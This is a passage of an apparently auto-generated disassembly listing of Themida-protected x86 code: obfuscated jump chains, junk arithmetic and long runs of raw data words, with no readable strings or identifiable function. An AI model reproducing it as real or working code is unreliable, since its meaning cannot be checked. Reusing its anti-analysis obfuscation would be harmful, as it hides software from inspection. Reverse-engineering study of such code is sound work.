0FFFF6C74h, 83243C8Bh dd 0EC8304C4h, 243C8904h, 0EBF8E952h, 0C481FFFFh, 4, 5224048Bh dd 0B4E9E289h, 89FFFFB2h, 0E9542404h, 0FEAh, 4BEh, 5EF20100h dd 9CBD5557h, 893A6575h, 0BD555DEFh, 4B350684h, 6524E581h dd 0ED815F02h, 184B4703h, 7DBDE581h, 0F74D6FFDh, 0D4C581DDh dd 319770BCh, 242C8BEFh, 0FFAC20E9h, 26CA80FFh, 88C9F280h dd 5254E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_519B8E: ; CODE XREF: Themida_:005204D7j xor ecx, 86CA312Bh xor esi, ecx jmp loc_511479 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 93C1E9h, 8F3BD00h dd 95BE1621h, 1089E29h, 0F0315DEEh, 1DA1E95Eh, 5B660000h dd 24048F66h, 8904EC83h, 3AE92404h, 5CFFFFF9h, 0E9241489h dd 5E52h, 28B6664h, 6DB0E9h db 0 ; --------------------------------------------------------------------------- loc_519BE9: ; CODE XREF: Themida_:005186E1j xor edx, 3010188Ah push ecx jmp loc_51503E ; --------------------------------------------------------------------------- loc_519BF5: ; CODE XREF: Themida_:00511D75j pop ecx pop ebp sub esi, ecx add esi, 40AF4ED9h pop ecx push ebp mov ebp, 0C2DEB1E4h xor esi, ebp pop ebp add ebp, esi pop esi add ebp, 2 push ebp push dword ptr [esp+4] pop ebp jmp loc_523331 ; --------------------------------------------------------------------------- loc_519C1D: ; CODE XREF: Themida_:0051298Aj add dword ptr [esp], 4 jmp loc_51674C ; --------------------------------------------------------------------------- db 1, 0F5h, 8Bh dd 0C4832434h, 5DE88904h, 0C5E9C501h, 29FFFF6Dh, 22355EF0h dd 8176F745h, 0FE2E94C5h, 56C5014Fh, 5564D8BEh, 7EE817Ah dd 810D1F1Fh, 0C7E8C3C6h, 8272E9E2h, 0B951FFFFh, 6FEC3244h dd 0F707E1C1h, 54C181D1h, 3155C270h, 2434FFC8h, 4C48159h dd 5000000h, 0ED85AD1Eh, 0FFBFF7E9h, 0E9EB80FFh, 1C8BDA08h dd 4C48324h, 0FF8FC0E9h db 0FFh ; --------------------------------------------------------------------------- loc_519C99: ; CODE XREF: Themida_:0051569Ej inc edi sub edi, 0AFAAECCAh jmp loc_51BE56 ; --------------------------------------------------------------------------- loc_519CA5: ; CODE XREF: Themida_:0051212Ej mov [esp], ecx push esi pop ecx jmp loc_5231C0 ; --------------------------------------------------------------------------- db 0F6h dd 80EAD0DAh, 0B753B1C2h, 5BFA2810h, 5DEFE950h, 0E9500000h dd 1DFFh ; --------------------------------------------------------------------------- loc_519CC8: ; CODE XREF: Themida_:00520AC8j add esp, 4 push ebp jmp loc_5160B4 ; --------------------------------------------------------------------------- dd 0D9875D5Eh, 0D987DBF7h, 0AB3CE9h, 51665B00h, 0E8287BB5h dd 0FF8366E9h, 4BB53FFh, 0E9000000h, 0FFFFA4E6h, 80AEEA80h dd 0B1517FEAh, 1C280FCh, 7AE9CA00h, 5CFFFF86h, 0FFBB4EE9h dd 5AEA81FFh, 170945Bh, 5AC281F2h, 8B70945Bh, 0C4812434h dd 4, 3E92E9h, 2434FF00h, 4C33E9h, 31CBBF00h, 0FE2901FBh dd 0B850595Fh, 22B2145Ch, 0F9734005h, 5BFE0D20h, 0BB5378F4h dd 1A7EAB5Bh, 0D922F22Dh, 49D4E943h, 3C8B0000h, 4C48124h dd 81000000h, 4E9h, 240C8700h, 243C895Ch, 0C86A1DBFh, 6FA2E93Ah dd 8B66FFFFh, 9F682404h, 89000042h, 0E589242Ch, 1FD268h dd 0A179E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_519D96: ; CODE XREF: Themida_:00517A4Cj dec edi sub edi, 1236089Eh add edi, 941828F9h sub esp, 4 mov [esp], eax push 3FFC5946h pop eax xor edi, eax pop eax and ecx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 push 0DD0h mov [esp], edx mov edx, esp push ebx push eax mov eax, 4 mov ebx, eax pop eax push eax jmp loc_518356 ; --------------------------------------------------------------------------- dw 895Ch dd 5D54242Ch, 8904EC83h, 0EC83240Ch, 242C8904h, 0FFD58EE9h db 0FFh ; --------------------------------------------------------------------------- loc_519DF1: ; CODE XREF: Themida_:005204F5j push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_510B95 ; --------------------------------------------------------------------------- dd 5C241C87h, 54240489h, 8124048Bh, 4C4h, 23D36800h, 0C890000h dd 218CB924h, 0E1C13A0Ah, 4C18107h, 0E9FAEF3Ah, 0FFFFF688h dd 0C580DDF6h, 59EE2810h, 0F0D3E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_519E42: ; CODE XREF: Themida_:0051DECFj pop ebp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi xchg ebp, [esp] pop esp or eax, eax jz loc_518A47 push dword ptr [edi+1Ch] jmp loc_511A76 ; --------------------------------------------------------------------------- dw 0F828h dd 0B0505266h, 0C0B2E95Dh, 8B66FFFFh, 0E952240Ch, 0FFFF9AAFh dd 42A6B850h, 0C2895708h, 24540158h, 6C815A08h, 25F10424h dd 54291D38h, 44810424h, 25F10424h, 6FE91D38h, 8BFFFFD3h dd 82E92424h, 29000025h, 24048BC6h, 0AEDFE9h db 0 ; --------------------------------------------------------------------------- loc_519EB5: ; CODE XREF: Themida_:00513728j push ecx mov ecx, esp jmp loc_5102A6 ; --------------------------------------------------------------------------- db 68h, 24h, 35h dd 3C890000h, 55E78924h, 4A1F03BDh, 14F75531h, 0C3FEE924h dd 0D2F7FFFFh, 0FF67C0E9h, 4EC81FFh, 89000000h, 0E954240Ch dd 856Ch, 27BBC581h, 0E809B236h, 0AA99E95Dh, 0CF01FFFFh dd 6E20C781h, 0AEE97B72h, 51FFFF87h, 0B2116B9h, 0F1814970h dd 12233E06h, 32DFE9h db 0 ; --------------------------------------------------------------------------- loc_519F19: ; CODE XREF: Themida_:0050F8BCj pop ecx push ebx mov bl, dl push eax jmp loc_517C60 ; --------------------------------------------------------------------------- db 0F7h dd 40592D2h, 815A377Fh, 0A077DBEEh, 0E9C60120h, 0FFFFF86Ch dd 4C781h, 0EF810000h, 4, 5C243C87h db 89h, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_51EDCC ; --------------------------------------------------------------------------- loc_519F67: ; CODE XREF: Themida_:00520BEDj push ecx mov ecx, esp jmp loc_521110 ; --------------------------------------------------------------------------- aPirheg db ']P‰àhEG',0 align 4 aI4Sqe db '‰4$éQ…',0 align 10h loc_519F80: ; CODE XREF: Themida_:0051FB6Fj add eax, edi jmp loc_5100B1 ; --------------------------------------------------------------------------- db 81h dd 0FFFFFFE9h, 0B2E981FFh, 29B026CBh, 6EE959C8h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_519F9B: ; CODE XREF: Themida_:00514896j pop eax add edx, 4 jmp loc_51975E ; --------------------------------------------------------------------------- dd 0FE07EEC0h, 8E98E9C6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_519FAE: ; CODE XREF: Themida_:005159C0j pop ebx push ebp jmp loc_520941 ; --------------------------------------------------------------------------- db 0BBh, 2, 0 dd 0DD890000h, 0E9241C8Bh, 8DF8h ; --------------------------------------------------------------------------- loc_519FC4: ; CODE XREF: Themida_:00514CFEj add ebx, edi xor dword ptr [ebx], 2A555DD2h pop ebx or dword ptr [edi+20h], 4355525Ch push ecx mov ecx, 20h add ecx, edi jmp loc_5160DF ; --------------------------------------------------------------------------- loc_519FE1: ; CODE XREF: Themida_:00523252j add ebp, 4 xchg ebp, [esp] jmp loc_51A66B ; --------------------------------------------------------------------------- db 29h dd 5B08245Ch, 4244481h, 15A67373h, 4244481h, 46055C85h dd 4245429h, 5C85BA52h, 54294605h, 0AAE90824h, 41FFFFA5h dd 0FFFF6AE9h, 2434FFFFh, 343EE959h, 0E9550000h, 0FFFF66C1h dd 2281BF57h, 0DFF710BDh, 5E14C781h, 0FE0922CCh, 83243C8Bh dd 0E68104C4h, 7C3F51C0h, 4D18E9h, 0EEC15E00h, 52D6F703h dd 1A2AD5BAh, 5AD631EBh, 348BF521h, 4C48124h, 0D1000000h dd 81D5F7E5h, 0EEB39F5h, 8BEB01E7h, 0EC81242Ch, 4, 89243C89h dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 124248Bh, 0CCE953C3h dd 0BAFFFFB3h, 6D616FB0h, 95A5852h, 24048BC1h, 4C481h dd 0E9530000h, 0FFFFE907h, 5A242C31h, 7924C281h, 0B1E915B4h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A0C3: ; CODE XREF: Themida_:00523C83j mov esp, [esp] jmp loc_52169D ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 0E6C38104h, 1336846h, 0E6EB81C3h, 57336846h dd 0FFEF4CE9h, 41DBDFFh, 0F2E92484h db 7Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A0EF: ; CODE XREF: Themida_:0051C6FFj push 678Ch mov [esp], edx jmp loc_515BA2 ; --------------------------------------------------------------------------- loc_51A0FC: ; CODE XREF: Themida_:00517906j mov ebp, [esp] jmp loc_521A49 ; --------------------------------------------------------------------------- dd 4B9h, 0CC78100h, 124932Fh, 0CEF81CFh, 5924932Fh, 4C781h dd 3FE90000h, 81FFFF6Dh, 0FA6E7AF7h, 5FFA0924h, 0B850h dd 0D0290000h, 316AE9h, 47B85000h, 0E9054F2Dh, 0FFFF7D4Bh ; --------------------------------------------------------------------------- loc_51A144: ; CODE XREF: Themida_:005192F5j mov edx, [esp] add esp, 4 xchg esi, [esp] pop esp mov [esp], esi push ebx xor dword ptr [esp], 75CB0C1Ch jmp loc_523F38 ; --------------------------------------------------------------------------- loc_51A161: ; CODE XREF: Themida_:0051BD6Cj pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_521ED7 ; --------------------------------------------------------------------------- db 81h dd 0AD1A04EBh, 91B85002h, 5731564h, 39F937E9h, 84A40E05h dd 58C60184h, 0EC81DE29h, 4, 0BD242C89h, 2EC711DAh, 2EAEC581h dd 96E902CCh, 83000005h, 0C20104C4h, 0ADA68h, 242C8900h dd 0FFE35EE9h, 240C8BFFh, 77076855h, 0EC830000h, 24248904h dd 4240483h, 8124048Fh, 42404h, 2C8B0000h, 4C48324h, 5D7CB850h dd 6BE928FEh, 8100003Fh, 790DA7EEh, 5EF5011Fh, 5A3DF581h dd 0F5817DDFh, 36821EFAh, 69D1E9h, 24248900h, 207568h dd 24148900h, 0FFB9E3E9h, 4E8C1FFh, 382BE9h, 722C5C00h dd 0C3BE9h db 0 ; --------------------------------------------------------------------------- loc_51A225: ; CODE XREF: Themida_:005174B1j push 2132h mov [esp], edi mov edi, 41761540h shr edi, 2 add edi, 0EFA282B0h jmp loc_51D69A ; --------------------------------------------------------------------------- dd 240C8B66h, 2A16853h, 24890000h, 39BB6824h, 0C890000h dd 4B924h, 4C010000h, 5B590424h, 4C381h, 0BA520000h, 65441EC6h dd 8103EAC1h, 0A11390E2h, 4EC830Ah, 0BD242C89h, 289A789Ah dd 7091E94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51A286: ; CODE XREF: Themida_:0051ABDFj mov ebp, 0C881DD2h sub edx, ebp pop ebp sub edx, eax add edx, 0C881DD2h mov eax, [esp] push esi jmp loc_5232EF ; --------------------------------------------------------------------------- aZsdg db 'ZéD£',0 dd 4FF8BD00h, 0D5F76969h, 5206E5C1h, 0D20C50BAh, 5AD50183h dd 0E95DE829h, 0FFFFCE4Ah ; --------------------------------------------------------------------------- loc_51A2C0: ; CODE XREF: Themida_:00515079j pop ebp jmp loc_51CE15 ; --------------------------------------------------------------------------- loc_51A2C6: ; CODE XREF: Themida_:00523DF6j mov ebx, esp jmp loc_523206 ; --------------------------------------------------------------------------- loc_51A2CD: ; CODE XREF: Themida_:0051D18Aj sub ebx, 30590D74h push esi push ebx mov ebx, 3BC122B9h shr ebx, 6 jmp loc_51AA7E ; --------------------------------------------------------------------------- dw 0D929h dd 449E95Bh, 0EC830000h, 240C8904h, 0C9FE57B1h, 6603E9C0h dd 0A052E952h, 0E0C10000h, 521D0508h, 0DAE97B26h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A30B: ; CODE XREF: Themida_:005131CBj add esi, 7F8B00D3h pop edx xchg esi, [esp] mov esp, [esp] mov al, [esp+2] mov [esp+2], dh pop dx not al jmp loc_5130E3 ; --------------------------------------------------------------------------- db 5Ah, 56h, 51h dd 966286B9h, 0E9CE89EBh, 1F3Bh, 24048B66h, 8904EC83h dd 0E2892414h, 8904EC83h, 0DBF243Ch, 0C141B975h, 45E907EFh dd 81000095h, 4C7h, 4EC8300h, 0FF243C89h, 5F042474h, 5C24048Fh dd 0DB646105h, 1B95151h, 0F70AD532h, 3E9C1D9h, 0E9C1D9F7h dd 4DD9E905h, 0E9580000h, 0FFFFF9D2h ; --------------------------------------------------------------------------- loc_51A38C: ; CODE XREF: Themida_:00517DC8j push edx push 4 pop edx jmp loc_52020C ; --------------------------------------------------------------------------- loc_51A398: ; CODE XREF: Themida_:00510BDCj mov [esp], eax push edx push dword ptr [esp+4] jmp loc_51F1C8 ; --------------------------------------------------------------------------- db 2Dh, 2 dup(38h) dd 0E801579Fh, 9F383805h, 772D5D57h, 293A2351h, 478AE9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51A3BE: ; CODE XREF: Themida_:0051B982j inc eax add eax, 0FC62DEF0h add ebp, eax pop eax jmp loc_51C314 ; --------------------------------------------------------------------------- loc_51A3CC: ; CODE XREF: Themida_:00510116j add ebp, ebx add ebp, 0CC02CDh pop ebx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_514F40 ; --------------------------------------------------------------------------- aTysN db 'TYé³N',0 align 2 dw 0BA52h dd 36602642h, 5C06E952h, 0EF830000h, 243C8704h, 2434895Ch dd 0C681E689h, 4, 4BB53h, 0DE290000h, 83241C8Bh, 343304C4h dd 24343124h, 9C2EE9h db 0 ; --------------------------------------------------------------------------- loc_51A425: ; CODE XREF: Themida_:00510194j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp shr ecx, 7 push ebx push esi mov esi, 75BD12D1h xor [esp+4], esi pop esi jmp loc_52474E ; --------------------------------------------------------------------------- db 89h dd 0C589242Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 0FF6FBDE9h dd 240431FFh, 0E9240433h, 0FFFFC878h, 67396853h, 0BAE90000h dd 0BA000051h, 0E823B0CBh, 1EE6C281h, 51E92C23h, 0B200003Ah dd 5BDA0046h, 0D3885350h, 885BD888h, 6E958C3h, 5A00004Fh dd 0B0CBE94Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A49E: ; CODE XREF: Themida_:005160DAj add eax, ebx pop ebx sub eax, ecx sub eax, 0CDE0418h pop ecx push ebp mov ebp, 45D616CBh add eax, ebp jmp loc_520D9B ; --------------------------------------------------------------------------- dw 1BAh dd 1000000h, 0FE67E9D0h, 483FFFFh, 48F0424h, 6621E924h dd 0C589FFFFh, 582434FFh, 686CE9h, 0E7E95600h, 5FFFFFBEh dd 0B6EE9h, 58515000h, 0A9E94959h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A4EF: ; CODE XREF: Themida_:00513158j add esi, 7B85053Fh push ecx jmp loc_514A79 ; --------------------------------------------------------------------------- db 50h dd 0FF9F85E9h db 0FFh ; --------------------------------------------------------------------------- loc_51A501: ; CODE XREF: Themida_:00521502j sub ebx, 55EE3696h add ebx, eax add ebx, 55EE3696h pop eax xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp add eax, edi mov ecx, [eax] jmp loc_517FA8 ; --------------------------------------------------------------------------- db 0FFh dd 835F2434h, 0D82904C4h, 0BF2F882Dh, 241C8B41h, 6804C483h dd 76EFh, 8FF8E9h, 51C6E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A546: ; CODE XREF: Themida_:005132F5j add edx, ebp pop ebp mov edi, edx pop edx shl edi, 4 jmp loc_5127CC ; --------------------------------------------------------------------------- dd 0ACE9A3B0h, 8BFFFF6Ch, 89532404h, 4C381E3h, 83000000h dd 1C8704C3h, 0FF355C24h, 894F052Fh, 0C5E958C5h db 98h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A57B: ; CODE XREF: Themida_:0051DA17j add eax, ecx pop ecx push esi jmp loc_51A6DB ; --------------------------------------------------------------------------- loc_51A584: ; CODE XREF: Themida_:00524A13j xor edx, 0A150B41h dec edx not edx push ecx mov ecx, 0B8E08246h jmp loc_511E6C ; --------------------------------------------------------------------------- aSkv db '³Ë骂',0 db 0 ; --------------------------------------------------------------------------- loc_51A59F: ; CODE XREF: Themida_:00521E0Aj pop ecx add esp, 4 jmp loc_50F70C ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 83000000h, 66E904EBh db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A5BB: ; CODE XREF: Themida_:0051498Ej push 1F62h mov [esp], eax mov eax, 11107B40h push ebp mov ebp, 0CC00C67h sub eax, ebp pop ebp xor eax, 3FD359Eh jmp loc_518AA9 ; --------------------------------------------------------------------------- aQsfz db 'QéFZ',0 dd 58C28900h, 240CFF52h, 0FFC511E9h, 4C581FFh, 1220526h dd 4ED81CDh, 8B220526h, 0C483240Ch, 2C58304h, 8B242C87h dd 4002424h, 0F9E99C24h, 83FFFF50h, 25E904C4h, 8BFFFF90h dd 0C483243Ch, 4EC8104h, 89000000h, 4B9240Ch, 1000000h dd 90E959CDh db 0A6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A637: ; CODE XREF: Themida_:00516D72j mov ebx, [esp] add esp, 4 jmp loc_51E40E ; --------------------------------------------------------------------------- loc_51A645: ; CODE XREF: Themida_:0051948Aj add ebp, esi jmp loc_5135E5 ; --------------------------------------------------------------------------- loc_51A64C: ; CODE XREF: Themida_:0051779Ej mov ebx, 218C2B67h jmp loc_5176E3 ; --------------------------------------------------------------------------- loc_51A656: ; CODE XREF: Themida_:0051EB27j push ebx mov ebx, 3F322479h dec ebx not ebx inc ebx add ebx, 3EB10C96h jmp loc_510104 ; --------------------------------------------------------------------------- loc_51A66B: ; CODE XREF: Themida_:00519FEAj pop esp jmp loc_51F4FE ; --------------------------------------------------------------------------- loc_51A671: ; CODE XREF: Themida_:00511DBCj add ebp, edi add ebp, 0FA56185h pop edi jmp loc_5210B5 ; --------------------------------------------------------------------------- loc_51A67F: ; CODE XREF: Themida_:0051389Bj pop dword ptr [esp] pop esp or eax, eax jz loc_5100C6 push dword ptr [edi+28h] push ebx jmp loc_512CD5 ; --------------------------------------------------------------------------- dd 2093F380h, 8B4FE9DDh, 81660000h, 664CBAC1h, 8166D101h dd 664CBAE9h, 4C01665Ah, 8B660224h, 0E955240Ch, 4330h dd 0FF243489h, 96E9240Ch, 0F700006Ah, 0E99C241Ch, 0FFFF503Ch dd 5966CE88h, 1E9CB86h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A6DB: ; CODE XREF: Themida_:0051A57Fj mov esi, 4 add eax, esi pop esi jmp loc_512212 ; --------------------------------------------------------------------------- dd 0D1036A68h, 0AC3E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51A6F2: ; CODE XREF: Themida_:00514740j mov [esp], edx push ebx push 19657DBDh jmp loc_523C90 ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 0F5685124h, 59426B38h, 8107E1C1h dd 3BAA7DC1h, 4FD4E9F1h, 34FF0000h db 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_511CE6 ; --------------------------------------------------------------------------- db 81h dd 363FABC1h, 59CA2997h, 9210E9h, 5DEE2900h, 81241C8Bh dd 4C4h, 60FEE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A752: ; CODE XREF: Themida_:005117F9j mov [esp], eax not dword ptr [esp] push dword ptr [esp] jmp loc_51EDDC ; --------------------------------------------------------------------------- loc_51A760: ; CODE XREF: Themida_:00515915j xor bl, dh push dword ptr [esp] mov edx, [esp] add esp, 4 push ecx jmp loc_517C4D ; --------------------------------------------------------------------------- db 29h, 0D6h, 0E9h dd 2018h, 0E4BA525Bh, 0C15CB764h, 0EAC107E2h, 76E28103h dd 4A32E17Ch, 0C281D2F7h, 751D9BB4h, 815AD631h, 42290FC6h dd 53350591h, 7A054415h, 14E291Ah, 1A7A2DF0h, 352D4E29h dd 0E9441553h, 515h, 506638B6h, 0B07EB252h, 0E9D00047h dd 9FAAh, 115F66BDh, 0E5C14D59h, 34ED8108h, 81630129h dd 186CFBCDh, 36BF5757h, 8128E903h, 8F5B1FEFh, 0E7814F5Eh dd 2E4B2EF4h, 4EC81h, 36E90000h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A7FB: ; CODE XREF: Themida_:0051B4C4j mov bp, 230Dh sub bx, 3B5h jmp loc_51926F ; --------------------------------------------------------------------------- loc_51A809: ; CODE XREF: Themida_:005235CDj add [esp+4], edi jmp loc_50FE8B ; --------------------------------------------------------------------------- dw 8358h dd 0C8704E9h, 24248B24h, 0E9243C89h, 0FFFFE430h, 0FF4EE3E9h dd 0E98DB2FFh, 0FFFF973Fh, 192BE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_51A836: ; CODE XREF: Themida_:00511B65j shr ebp, 3 xor ebp, 42406h add edi, ebp pop ebp add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp sub eax, 343356DAh add eax, edi jmp loc_520AE3 ; --------------------------------------------------------------------------- db 5Bh dd 0AA7FA3B9h, 5FF929B1h, 70ABB850h, 0C28909AAh, 59CA3158h dd 88BEE9h, 32996800h, 24890000h, 982BE924h, 8B66FFFFh dd 6768240Ch, 8900003Ah, 87682434h, 8900000Bh, 4812424h dd 424h, 0D22BE900h, 34FFFFFFh, 0C4815824h, 4, 0E096E951h dd 8B66FFFFh, 0EC83240Ch, 0E689E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51A8BE: ; CODE XREF: Themida_:0051835Bj xor eax, 45D77ADDh sub edx, eax jmp loc_51B081 ; --------------------------------------------------------------------------- loc_51A8CA: ; CODE XREF: Themida_:0051DD61j mov eax, ebx pop ebx xor ecx, eax pop eax xchg ebp, ecx neg ebp xchg ebp, ecx xor ecx, 28810667h sub ecx, 0F3F0F146h sub edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] mov [esp], eax jmp loc_521DD7 ; --------------------------------------------------------------------------- db 89h dd 0E0892404h, 405h, 4BE5600h, 29000000h, 4875EF0h, 20E95C24h db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51A90F: ; CODE XREF: Themida_:00510868j push dword ptr [esp] pop ecx add esp, 4 or ebx, 58A705Ch shr ebx, 3 jmp loc_51726E ; --------------------------------------------------------------------------- loc_51A927: ; CODE XREF: Themida_:0051C530j pop ebp add ebx, 4 jmp loc_513B3D ; --------------------------------------------------------------------------- aSs_0 db 'Sé%$',0 dd 4C38100h, 0E9000000h, 0FFFFB58Bh ; --------------------------------------------------------------------------- loc_51A944: ; CODE XREF: Themida_:005102B2j pop esp mov [esp], edi push 4 mov edi, [esp] add esp, 4 sub ebp, edi mov edi, [esp] add esp, 4 xchg ebp, [esp] pop esp mov [esp], ecx sub esp, 4 jmp loc_523507 ; --------------------------------------------------------------------------- aVsis db 'VéI˜',0 align 2 loc_51A976: ; CODE XREF: Themida_:0050FC8Aj push ecx push 15D14EB7h pop ecx neg ecx sub ecx, 0EA2EB145h push ecx pop edx pop ecx add ebp, edx push dword ptr [esp] jmp loc_5148E9 ; --------------------------------------------------------------------------- dw 8BBDh dd 534C5B65h, 9673E9BBh, 8BDD3158h, 0E950241Ch, 0FFFF4DDAh dd 14ADE981h, 0D1011517h, 14ADC181h, 94E91517h, 8100009Fh dd 0DF62A0C3h, 0C1C38157h, 1344B24h, 0D8015BD8h, 597B212Dh dd 8C2EE93Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51A9D6: ; CODE XREF: Themida_:00511C2Ej sub esi, 1 sub esi, 0FB892339h add ecx, esi mov esi, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] shr ecx, 6 push esi push ebx push dword ptr [esp] pop esi jmp loc_5242CE ; --------------------------------------------------------------------------- loc_51AA07: ; CODE XREF: Themida_:00510F8Dj sub esp, 4 jmp loc_5156FB ; --------------------------------------------------------------------------- db 54h dd 5524148Bh, 0FFD117E9h, 2DBA66FFh, 0B22D661Eh, 9171E941h dd 0C481FFFFh, 4, 0FFB4B1E9h, 58C130FFh, 0E959CA20h, 0FFFFF2BCh dd 0AE4014BDh, 0E4E95553h, 89FFFF54h, 0E956243Ch, 0FFFFF14Bh dd 4BA52h, 54010000h, 148B0424h, 4C48324h, 52242C8Bh, 6CBEE9h dd 0C2815B00h, 4, 31241433h, 14332414h, 224E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51AA7E: ; CODE XREF: Themida_:0051A2DDj dec ebx shl ebx, 2 add ebx, 21C2FCC8h mov esi, ebx pop ebx add ebx, 7B05067Ch sub ebx, esi sub ebx, 7B05067Ch pop esi push edi jmp loc_518634 ; --------------------------------------------------------------------------- loc_51AAA0: ; CODE XREF: Themida_:00514609j push edx mov edx, 227D73EEh jmp loc_51B83C ; --------------------------------------------------------------------------- db 89h dd 7866E9D6h, 0C8BFFFFh, 4C48324h, 34FFE688h, 0FCE95824h dd 5000050h, 4, 8704E883h, 4AE92404h, 5C00003Ch, 0E99CC83Bh dd 0FFFF4C30h ; --------------------------------------------------------------------------- loc_51AADC: ; CODE XREF: Themida_:0051D516j add ebx, 4 jmp loc_520CD5 ; --------------------------------------------------------------------------- db 81h dd 0DD62DAC5h, 24148B6Ch, 0FFEF97E9h, 26C181FFh, 5E123B73h dd 1EE9CB01h, 31000048h, 1C33241Ch, 24248B24h, 9C2424D2h dd 0FF4BF7E9h, 243C89FFh, 53505F54h, 0A766852h, 815A5589h dd 0DCC66FEAh, 6934E946h, 57580000h, 0FF73C9E9h db 0FFh ; --------------------------------------------------------------------------- loc_51AB35: ; CODE XREF: Themida_:005216A3j sar byte ptr [esp], cl pushf jmp loc_51F9FA ; --------------------------------------------------------------------------- loc_51AB3E: ; CODE XREF: Themida_:0051E93Aj pop esi or edi, edx jmp loc_522EF0 ; --------------------------------------------------------------------------- dw 8B66h dd 5452240Ch, 5A2434FFh, 8104C483h, 4C2h, 14AB6800h, 34890000h dd 2BE24h, 0C2810000h, 29E86B6Bh, 88D8E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51AB72: ; CODE XREF: Themida_:00522305j mov [esp], esp jmp loc_518AD6 ; --------------------------------------------------------------------------- dw 4BAh dd 0E9000000h, 1FF7h, 240C8966h, 0EEB65266h, 0A9E9F188h db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51AB93: ; CODE XREF: Themida_:00513B38j pop esp mov [esp], esi mov esi, 61E915AFh dec esi xor esi, 49A16F52h not esi inc esi shr esi, 5 sub esi, 0FFFFFFFFh push ebx mov ebx, 0A0625AB0h sub esi, ebx mov ebx, [esp] push eax mov eax, esp add eax, 4 jmp loc_5163A1 ; --------------------------------------------------------------------------- db 89h dd 0F9015AD1h, 58B0E9h db 0 ; --------------------------------------------------------------------------- loc_51ABD1: ; CODE XREF: Themida_:00522562j mov [esp], eax mov eax, 6F04B09h add eax, 6EDEC688h push ebp jmp loc_51A286 ; --------------------------------------------------------------------------- aIFhjxf_sQ db '‰<$fh†Xf_é³q',0 align 2 loc_51ABF2: ; CODE XREF: Themida_:00521070j and eax, edi jmp loc_514164 ; --------------------------------------------------------------------------- loc_51ABF9: ; CODE XREF: Themida_:005229B2j add edx, 4 xchg edx, [esp] jmp loc_5185FD ; --------------------------------------------------------------------------- db 0BFh dd 0EAE27B6Bh, 3C8BFD31h, 4C48124h, 81000000h, 0C76BE3C2h dd 57EA2963h, 0C76BE3BFh, 8BFA2963h, 0C483243Ch, 335E5D04h dd 14312414h, 24143324h, 2404D35Ch, 4ACAE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51AC42: ; CODE XREF: Themida_:00521A58j mov eax, 594528D1h push 3984h mov [esp], ecx mov ecx, 0EB53BE2Eh sub eax, ecx push dword ptr [esp] pop ecx add esp, 4 xor edi, eax jmp loc_5182BD ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 4F40B824h, 0D8F7097Eh, 139B0548h dd 82D23ADh, 29A1EAC7h, 0F80158C7h, 4EC815Fh, 0E9000000h dd 0FFFFB729h ; --------------------------------------------------------------------------- loc_51AC90: ; CODE XREF: Themida_:0051966Bj sub cl, 0EEh sub esp, 4 mov [esp], ecx mov ch, 0F7h sub bl, ch jmp loc_51C6FE ; --------------------------------------------------------------------------- dw 248Bh dd 24048F24h, 74D1E9h, 1C8B5800h, 92A1E924h, 0F752FFFFh dd 9DE9241Ch, 45FFFFE3h, 49F0E9h, 241C8900h, 0FF991BE9h dd 24348BFFh, 4C481h, 0C3310000h, 24148B66h, 8904EC83h dd 24E9241Ch, 81FFFF51h, 0FF4F44EAh, 8BD38962h, 0C4832414h dd 24448104h, 0B55F6104h, 245C0106h, 61B85004h, 2906B55Fh dd 58082444h, 0FFFA0DE9h, 34FF5FFFh, 89535E24h, 4C381E3h dd 83000000h, 